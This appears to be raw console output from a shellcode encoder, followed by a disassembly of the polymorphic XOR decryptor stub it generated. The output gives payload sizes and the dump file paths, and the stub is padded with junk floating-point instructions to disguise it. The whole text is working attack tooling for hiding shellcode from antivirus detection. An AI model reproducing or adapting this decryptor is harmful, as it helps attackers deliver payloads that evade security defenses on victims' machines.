[+] Decryptor body size = 125 bytes [+] Shellcode size = 349 bytes [+] Decryptor + Shellcode size = 474 bytes [+] Magic byte is 81 [+] Crypto steping = 3 byte(s) [+] Pass steping = 1 byte(s) [+] Shellcode dumped to D:\asm\shell.txt.tapion_bin [+] Written 479 bytes [+] Shellcode header stored to D:\asm\shell.txt.tapion_bin.h 00401093 68 E97F404F PUSH 4F407FE9 00401098 5A POP EDX 00401099 81EA E97F404F SUB EDX,4F407FE9 0040109F 66:C7C2 79B7 MOV DX,0B779 004010A4 66:81EA 1CB6 SUB DX,0B61C 004010A9 C7C6 5E5690C3 MOV ESI,C390565E 004010AF 56 PUSH ESI 004010B0 8D3424 LEA ESI,DWORD PTR SS:[ESP] 004010B3 FFD6 CALL ESI 004010B5 C7C1 51C5AC3A MOV ECX,3AACC551 004010BB 0FC9 BSWAP ECX 004010BD 81E9 83AAC551 SUB ECX,51C5AA83 004010C3 56 PUSH ESI 004010C4 5B POP EBX 004010C5 D9FD FSCALE 004010C7 FF33 PUSH DWORD PTR DS:[EBX] 004010C9 58 POP EAX 004010CA 43 INC EBX 004010CB 310431 XOR DWORD PTR DS:[ECX+ESI],EAX 004010CE 803B 81 CMP BYTE PTR DS:[EBX],81 004010D1 75 02 JNZ SHORT testsh.004010D5 004010D3 8BDE MOV EBX,ESI 004010D5 9B WAIT 004010D6 DBE3 FINIT 004010D8 D9F5 FPREM1 004010DA 49 DEC ECX 004010DB F9 STC 004010DC DEE1 FSUBRP ST(1),ST 004010DE DDE1 FUCOM ST(1) 004010E0 DEF1 FDIVRP ST(1),ST 004010E2 49 DEC ECX 004010E3 81FA 3A56C02D CMP EDX,2DC0563A 004010E9 09DB OR EBX,EBX 004010EB 85F6 TEST ESI,ESI 004010ED DEC1 FADDP ST(1),ST 004010EF 49 DEC ECX 004010F0 D9ED FLDLN2 004010F2 D9F2 FPTAN 004010F4 8BC0 MOV EAX,EAX 004010F6 FC CLD 004010F7 4A DEC EDX 004010F8 4A DEC EDX 004010F9 85D2 TEST EDX,EDX 004010FB D8D1 FCOM ST(1) 004010FD DBE2 FCLEX 004010FF 4A DEC EDX 00401100 D9EA FLDL2E 00401102 D9FD FSCALE 00401104 8BF6 MOV ESI,ESI 00401106 DEE1 FSUBRP ST(1),ST 00401108 21D2 AND EDX,EDX 0040110A DEE9 FSUBP ST(1),ST 0040110C ^7F B9 JG SHORT testsh.004010C7 0040110E D9D0 FNOP